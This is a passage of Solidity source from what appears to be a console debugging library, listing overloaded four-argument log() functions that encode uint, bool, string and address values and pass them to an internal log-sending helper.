_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, 